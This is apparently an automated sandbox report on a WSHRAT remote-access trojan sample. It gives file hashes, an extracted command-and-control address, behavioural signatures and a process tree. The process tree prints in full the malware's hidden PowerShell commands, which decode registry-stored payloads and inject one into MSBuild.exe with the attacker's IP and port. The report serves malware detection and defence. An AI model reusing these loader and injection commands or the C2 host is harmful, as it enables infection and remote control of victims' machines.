Analysis
-
max time kernel
118s -
max time network
131s -
platform
windows10-1703_x64 -
resource
win10-20230915-en -
resource tags
arch:x64arch:x86image:win10-20230915-enlocale:en-usos:windows10-1703-x64system -
submitted
19-09-2023 10:15
Static task
static1
General
-
Target
bb1a60d48e67a57b363bc312e01f4d91a7dae7e4a11653156e554d468578e8f2.exe
-
Size
2.0MB
-
MD5
263d8628ff6e9c99318da99bb42007f4
-
SHA1
c0450285843855e54b2b5aa7ee8d1a2f524218e9
-
SHA256
bb1a60d48e67a57b363bc312e01f4d91a7dae7e4a11653156e554d468578e8f2
-
SHA512
93d6a334ea62a876bab4c2c904b515fae2de919f9d5813123fbf38a02e76f02f026528d8db031e01baa525edad242683a689418eab8d3f8aab489d55c45b8114
-
SSDEEP
1536:waXjwDPE6yzTBMfT9/8n+NwRw7ySsgWNybmXfaKHFjyRcf7tZ4G5tJJmmrvf/Fco:NYPFyzTBMfw+N/Zs/N4ovsWZ93co
Malware Config
Extracted
wshrat
http://80.76.51.33:2606
Signatures
-
WSHRAT payload 2 IoCs
resource yara_rule behavioral1/files/0x000700000001affb-10.dat family_wshrat behavioral1/files/0x000700000001affe-13.dat family_wshrat -
Blocklisted process makes network request 10 IoCs
flow pid Process 2 164 wscript.exe 3 164 wscript.exe 7 4612 wscript.exe 8 4612 wscript.exe 10 4612 wscript.exe 11 4612 wscript.exe 15 4612 wscript.exe 16 4612 wscript.exe 20 4612 wscript.exe 22 4612 wscript.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 9 ip-api.com -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 836 set thread context of 3152 836 bb1a60d48e67a57b363bc312e01f4d91a7dae7e4a11653156e554d468578e8f2.exe 70 PID 4248 set thread context of 832 4248 powershell.exe 80 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Script User-Agent 4 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 2 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 3 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 7 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 8 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 1632 powershell.exe 1632 powershell.exe 1632 powershell.exe 4828 powershell.exe 4828 powershell.exe 4828 powershell.exe 4248 powershell.exe 4248 powershell.exe 4248 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 836 bb1a60d48e67a57b363bc312e01f4d91a7dae7e4a11653156e554d468578e8f2.exe Token: SeDebugPrivilege 1632 powershell.exe Token: SeDebugPrivilege 4828 powershell.exe Token: SeDebugPrivilege 4248 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 832 MSBuild.exe 832 MSBuild.exe -
Suspicious use of WriteProcessMemory 32 IoCs
description pid Process procid_target PID 836 wrote to memory of 3152 836 bb1a60d48e67a57b363bc312e01f4d91a7dae7e4a11653156e554d468578e8f2.exe 70 PID 836 wrote to memory of 3152 836 bb1a60d48e67a57b363bc312e01f4d91a7dae7e4a11653156e554d468578e8f2.exe 70 PID 836 wrote to memory of 3152 836 bb1a60d48e67a57b363bc312e01f4d91a7dae7e4a11653156e554d468578e8f2.exe 70 PID 836 wrote to memory of 3152 836 bb1a60d48e67a57b363bc312e01f4d91a7dae7e4a11653156e554d468578e8f2.exe 70 PID 836 wrote to memory of 3152 836 bb1a60d48e67a57b363bc312e01f4d91a7dae7e4a11653156e554d468578e8f2.exe 70 PID 836 wrote to memory of 3152 836 bb1a60d48e67a57b363bc312e01f4d91a7dae7e4a11653156e554d468578e8f2.exe 70 PID 836 wrote to memory of 3152 836 bb1a60d48e67a57b363bc312e01f4d91a7dae7e4a11653156e554d468578e8f2.exe 70 PID 836 wrote to memory of 3152 836 bb1a60d48e67a57b363bc312e01f4d91a7dae7e4a11653156e554d468578e8f2.exe 70 PID 3152 wrote to memory of 164 3152 Caspol.exe 71 PID 3152 wrote to memory of 164 3152 Caspol.exe 71 PID 3152 wrote to memory of 164 3152 Caspol.exe 71 PID 164 wrote to memory of 4612 164 wscript.exe 73 PID 164 wrote to memory of 4612 164 wscript.exe 73 PID 164 wrote to memory of 4612 164 wscript.exe 73 PID 4612 wrote to memory of 1632 4612 wscript.exe 74 PID 4612 wrote to memory of 1632 4612 wscript.exe 74 PID 4612 wrote to memory of 1632 4612 wscript.exe 74 PID 4612 wrote to memory of 4828 4612 wscript.exe 76 PID 4612 wrote to memory of 4828 4612 wscript.exe 76 PID 4612 wrote to memory of 4828 4612 wscript.exe 76 PID 4612 wrote to memory of 4248 4612 wscript.exe 78 PID 4612 wrote to memory of 4248 4612 wscript.exe 78 PID 4612 wrote to memory of 4248 4612 wscript.exe 78 PID 4248 wrote to memory of 832 4248 powershell.exe 80 PID 4248 wrote to memory of 832 4248 powershell.exe 80 PID 4248 wrote to memory of 832 4248 powershell.exe 80 PID 4248 wrote to memory of 832 4248 powershell.exe 80 PID 4248 wrote to memory of 832 4248 powershell.exe 80 PID 4248 wrote to memory of 832 4248 powershell.exe 80 PID 4248 wrote to memory of 832 4248 powershell.exe 80 PID 4248 wrote to memory of 832 4248 powershell.exe 80 PID 4248 wrote to memory of 832 4248 powershell.exe 80
Processes
-
C:\Users\Admin\AppData\Local\Temp\bb1a60d48e67a57b363bc312e01f4d91a7dae7e4a11653156e554d468578e8f2.exe"C:\Users\Admin\AppData\Local\Temp\bb1a60d48e67a57b363bc312e01f4d91a7dae7e4a11653156e554d468578e8f2.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:836 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3152 -
C:\Windows\SysWOW64\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Roaming\PmdRD.vbs"3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:164 -
C:\Windows\SysWOW64\wscript.exe"C:\Windows\System32\wscript.exe" //B "C:\Users\Admin\AppData\Local\Temp\PmdRD.vbs"4⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:4612 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -Command "$Cli444 = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'test').test;$Abt = [Convert]::FromBase64String($Cli444);$inputz = New-Object System.IO.MemoryStream( , $Abt );[System.IO.MemoryStream] $output = New-Object System.IO.MemoryStream;$gzipStream = New-Object System.IO.Compression.GzipStream $inputz, ([IO.Compression.CompressionMode]::Decompress);$buffer = New-Object byte[](1024);while($true){$read = $gzipStream.Read($buffer, 0, 1024);if ($read -le 0){break;}$output.Write($buffer, 0, $read);};$gzipStream.Close();$inputz.Close();$Out = $output.ToArray();$output.Close();$Out = [Convert]::ToBase64String($Out);new-itemproperty -path 'HKCU:\SOFTWARE\Microsoft' -name 'test' -value $Out -propertytype string -force | out-null;"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1632
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -Command "$Cli444 = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'test').test;$Abt = [Convert]::FromBase64String($Cli444);$inputz = New-Object System.IO.MemoryStream( , $Abt );[System.IO.MemoryStream] $output = New-Object System.IO.MemoryStream;$gzipStream = New-Object System.IO.Compression.GzipStream $inputz, ([IO.Compression.CompressionMode]::Decompress);$buffer = New-Object byte[](1024);while($true){$read = $gzipStream.Read($buffer, 0, 1024);if ($read -le 0){break;}$output.Write($buffer, 0, $read);};$gzipStream.Close();$inputz.Close();$Out = $output.ToArray();$output.Close();$Out = [Convert]::ToBase64String($Out);new-itemproperty -path 'HKCU:\SOFTWARE\Microsoft' -name 'test' -value $Out -propertytype string -force | out-null;"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4828
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -Command "$Cli444 = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'mPluginC').mPluginC;$Cli555 = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'mRunPE').mRunPE;$Abt = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($Cli555)).GetType('k.k.Hackitup').GetMethod('exe').Invoke($null,[object[]] ('MSBuild.exe',[Convert]::FromBase64String($Cli444),'80.76.51.33 2606 \"WSHRAT|44733149|RKSMUWZN|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 9/19/2023|Visual Basic-v3.4|NL:Netherlands\" 1'));"5⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4248 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exepath 80.76.51.33 2606 "WSHRAT|44733149|RKSMUWZN|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 9/19/2023|Visual Basic-v3.4|NL:Netherlands" 16⤵
- Suspicious use of SetWindowsHookEx
PID:832
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD57762807cfa5ec91a983360ff87821fca
SHA1fbf1704b42ffd4bf399321ec44e21a525fb54167
SHA2564f5f720c5d2ce15c32ca2f530239b6d336d84453ab10c6421a49dc52361877af
SHA512a7170f046e78c0158cf4e3cdcd7172604e5c12ded858b5df31f58203e8424e9d8363ae5e98e036c35857a9406ded574035d1c79d291abdcfe9e8b377ebefb8c3
-
Filesize
323B
MD50c17abb0ed055fecf0c48bb6e46eb4eb
SHA1a692730c8ec7353c31b94a888f359edb54aaa4c8
SHA256f41e99f954e33e7b0e39930ec8620bf29801efc44275c1ee6b5cfa5e1be202c0
SHA512645a9f2f94461d8a187261b736949df398ece5cfbf1af8653d18d3487ec1269d9f565534c1e249c12f31b3b1a41a8512953b1e991b001fc1360059e3fd494ec3
-
Filesize
17KB
MD5850edf05309bbf9cad6ef8a0e0e1a0d7
SHA19b6ad25ba917c4bb725251884d865a2fd29bc176
SHA256602aac8a949544af297df0db199472c999572ec4e5eb64d7183fe3ccc97833e8
SHA512879a9bcce7f93f9b4ab901530eec5a85b691e51f34b1a5abc38b060fb54f28240fc290a381752a54c08d4fbc1f0d7a43461caab914fa95c36f9018e3297368af
-
Filesize
17KB
MD556ffece6e8ba5845daef4a25bf6a40e9
SHA1c16c94ee204738d403454326e7ac16e494e987fe
SHA256be66a2df1618a3475178f74be07e211dc8b629c37728e7b6ff3a4a2f78bfd9d6
SHA512ad5fb30342613b8fbfbb3ab23899b0020ba0b6006dbfaae017e5cc335168da5e214798ebf0be7cffad2a2a89f3adec1d1f4373738f989419423f971b1b57575d
-
Filesize
180KB
MD59bcc1d31eae798a11b1d50f46b1de92c
SHA18bc898b80ead2433ac20eaa9936d2e40ea1db01e
SHA256cc2ca06bf02d0ba8b9ec6874b734bf6a39f84d536f6bb2d7cc5e3d577697e45b
SHA512b0a13f056ce07f5bf1360cb9754759c499c1560ed19c684f50774d0d6f72e0669b9e10a243185d9c31555938ae2799a09222236d960fb36f935bda266b764d6d
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
Filesize
12.4MB
MD5d9a63dfd8b73629421bb44bcde09f312
SHA17855575c12eaee0e734f3901ca1da2931e9b587a
SHA2569d5bb028794410fda9d1b3e0f8deb6beee5bd4e1e55340bd375a209c81dc98eb
SHA512df195c22f7818569cc92e995846ab507caa30f341ac902cc8afe6f06ae4493709e7f80357c91cf14b21e58e2154e0b35f2154d8a313bf36fcff0b72b3a539cf8
-
Filesize
1KB
MD5ca2cc8e73bbca371935bbc92ed18d567
SHA11adb458919e842cd78c72b1ff00e5e93cb6ef75e
SHA256bea3f797921992fda45c19db41e10e3b325bcdd3ea35d35c1fa70535477ad9c1
SHA512b63df3bad9272f45ba0f50e2c50aaed7a04eb1b000d5855d9f3a8e5c5f2d381c667b1e9c1e1f03f80584a7941a96992838664ae9dd25e1b8320e026da35b8223
-
Filesize
180KB
MD59bcc1d31eae798a11b1d50f46b1de92c
SHA18bc898b80ead2433ac20eaa9936d2e40ea1db01e
SHA256cc2ca06bf02d0ba8b9ec6874b734bf6a39f84d536f6bb2d7cc5e3d577697e45b
SHA512b0a13f056ce07f5bf1360cb9754759c499c1560ed19c684f50774d0d6f72e0669b9e10a243185d9c31555938ae2799a09222236d960fb36f935bda266b764d6d